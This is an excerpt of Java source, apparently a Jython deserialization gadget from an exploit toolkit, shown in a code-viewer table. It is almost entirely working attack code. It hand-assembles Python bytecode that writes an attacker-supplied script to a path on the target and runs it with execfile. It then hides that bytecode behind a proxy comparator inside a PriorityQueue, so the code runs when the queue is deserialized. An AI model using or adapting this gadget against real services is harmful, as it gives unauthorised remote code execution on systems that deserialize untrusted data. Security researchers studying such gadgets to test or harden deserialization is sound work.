(String command)
| 49 | } |
| 50 | |
| 51 | public PriorityQueue getObject(String command) throws Exception { |
| 52 | |
| 53 | String[] paths = command.split(";"); |
| 54 | if (paths.length != 2) { |
| 55 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); |
| 56 | } |
| 57 | |
| 58 | // Set payload parameters |
| 59 | String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); |
| 60 | |
| 61 | // Python bytecode to write a file on disk and execute it |
| 62 | String code = |
| 63 | "740000" + //0 LOAD_GLOBAL 0 (open) |
| 64 | "640100" + //3 LOAD_CONST 1 (remote path) |
| 65 | "640200" + //6 LOAD_CONST 2 ('w+') |
| 66 | "830200" + //9 CALL_FUNCTION 2 |
| 67 | "7D0000" + //12 STORE_FAST 0 (file) |
| 68 | |
| 69 | "7C0000" + //15 LOAD_FAST 0 (file) |
| 70 | "690100" + //18 LOAD_ATTR 1 (write) |
| 71 | "640300" + //21 LOAD_CONST 3 (python code) |
| 72 | "830100" + //24 CALL_FUNCTION 1 |
| 73 | "01" + //27 POP_TOP |
| 74 | |
| 75 | "7C0000" + //28 LOAD_FAST 0 (file) |
| 76 | "690200" + //31 LOAD_ATTR 2 (close) |
| 77 | "830000" + //34 CALL_FUNCTION 0 |
| 78 | "01" + //37 POP_TOP |
| 79 | |
| 80 | "740300" + //38 LOAD_GLOBAL 3 (execfile) |
| 81 | "640100" + //41 LOAD_CONST 1 (remote path) |
| 82 | "830100" + //44 CALL_FUNCTION 1 |
| 83 | "01" + //47 POP_TOP |
| 84 | "640000" + //48 LOAD_CONST 0 (None) |
| 85 | "53"; //51 RETURN_VALUE |
| 86 | |
| 87 | // Helping consts and names |
| 88 | PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; |
| 89 | String[] names = new String[]{"open", "write", "close", "execfile"}; |
| 90 | |
| 91 | // Generating PyBytecode wrapper for our python bytecode |
| 92 | PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, ""); |
| 93 | Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); |
| 94 | |
| 95 | // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method |
| 96 | PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); |
| 97 | |
| 98 | // Prepare Trigger Gadget |
| 99 | Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); |
| 100 | PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); |
| 101 | Object[] queue = new Object[]{1, 1}; |
| 102 | Reflections.setFieldValue(priorityQueue, "queue", queue); |
| 103 | Reflections.setFieldValue(priorityQueue, "size", 2); |
| 104 | |
| 105 | return priorityQueue; |
| 106 | } |
| 107 | } |
nothing calls this directly
no test coverage detected